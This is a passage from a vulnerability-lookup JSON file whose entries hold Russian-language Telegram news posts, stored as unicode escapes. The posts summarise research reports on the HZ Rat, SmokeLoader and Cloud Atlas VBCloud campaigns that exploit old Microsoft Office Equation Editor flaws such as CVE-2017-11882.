\u0447\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 C2 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u041a\u0438\u0442\u0430\u0435, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0443\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0421\u0428\u0410 \u0438 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e ZIP-\u0430\u0440\u0445\u0438\u0432, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 OpenVPNConnect.zip, \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0441 \u0434\u043e\u043c\u0435\u043d\u0430, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u0432\u0438\u0434\u0435\u043e\u0438\u0433\u0440 miHoYo, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043f\u043e Genshin Impact \u0438 Honkai.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a \u0444\u0430\u0439\u043b \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 \u0434\u043e\u043c\u0435\u043d, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c (\"vpn.mihoyo[.]com\"), \u0438 \u0431\u044b\u043b \u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043c\u043e\u043c\u0435\u043d\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c.\n\n\u0422\u0430\u043a\u0436\u0435 \u043d\u0435\u044f\u0441\u043d\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f, \u043d\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f HZ Rat \u0434\u043b\u044f macOS \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u0442\u043e\u044f\u0432\u0448\u0438\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b.", "creation_timestamp": "2024-08-28T16:08:34.000000Z"}, {"uuid": "8841bc3f-4de4-4a0c-bc64-b9aff4dd8b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/6507", "content": "Fortinet \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e SmokeLoader, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 IT, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\nSmokeLoader \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u0441\u0432\u0435\u0442\u0438\u043b\u0441\u044f \u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445 \u0435\u0449\u0435 \u0432 2011 \u0433\u043e\u0434\u0443, \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0435\u0439 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438 \u0443\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f, \u0430 \u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0430\u0442\u0430\u043a: \u043e\u0442 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043e \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u044b.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e SmokeLoader, \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0441\u0430\u043c\u0443 \u0430\u0442\u0430\u043a\u0443, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0441\u043e \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u04212.\n\nSmokeLoader \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0434, \u0438\u0437\u0431\u0435\u0433\u0430\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u044f\u044f \u0430\u043d\u0430\u043b\u0438\u0437.\n\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0433\u043e \u0448\u0442\u0430\u043c\u043c\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432\u0435\u0434\u0443\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u0443\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443, \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044f \u0435\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043d\u043e\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\n\n\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c SmokeLoader \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435\u00a0\u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u043c\u0430\u0435 2024 \u0415\u0432\u0440\u043e\u043f\u043e\u043b\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 Endgame, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b\u0430 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 IcedID, SystemBC, PikaBot, SmokeLoader, Bumblebee \u0438 TrickBot.\n\n\u0422\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u043e \u0434\u0435\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043e\u043a\u043e\u043b\u043e 1000 \u0434\u043e\u043c\u0435\u043d\u043e\u0432 C2, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 SmokeLoader, \u0430 \u0431\u043e\u043b\u0435\u0435 50 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u044b\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0447\u0438\u0449\u0435\u043d\u044b.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0447\u0435\u0440\u0435\u0437 \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 C2.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Zscaler, \u044d\u0442\u043e \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 FortiGuard Labs, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c Microsoft Excel, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e\u043b\u0435\u0442\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435,\u00a0CVE-2017-0199\u00a0\u0438\u00a0CVE-2017-11882) \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 Ande Loader, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f SmokeLoader \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0445\u043e\u0441\u0442\u0435.\n\nSmokeLoader \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0434\u0432\u0430 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430: stager \u0438 main module. \n\n\u0426\u0435\u043b\u044c\u044e stager \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 main module \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 explorer.exe. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c main module \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u044c \u0441 C2 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043a\u0440\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 FTP, \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u0444\u0430\u0439\u043b\u044b cookie \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, Outlook, Thunderbird, FileZilla \u0438 WinSCP.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0432\u0441\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 IOCs - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-12-04T18:30:05.000000Z"}, {"uuid": "d7e3a5af-9297-49fc-806b-2d311acd06d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6599", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBCloud \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 2024 \u0433\u043e\u0434\u0443.\n\n\u0416\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0440\u0430\u0436\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b (CVE-2018-0802) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0411\u043e\u043b\u0435\u0435 80% \u0446\u0435\u043b\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438. \u041c\u0435\u043d\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432 \u0431\u044b\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\nCloud Atlas, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Clean Ursa,  nception, Oxygen \u0438 Red October, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439\u00a0\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441 2014 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e, \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u044c \u0438 \u041f\u0440\u0438\u0434\u043d\u0435\u0441\u0442\u0440\u043e\u0432\u044c\u0435, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower.\n\n\u041f\u043e\u043f\u0430\u0434\u0430\u043b\u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043f\u043e\u043b\u0435 \u0437\u0440\u0435\u043d\u0438\u044f F.A.C.C.T. \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0435\u0442\u0443 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e VBShower, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u0432\u0440\u0435\u0434\u043e\u0441\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 CVE-2018-0802, \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 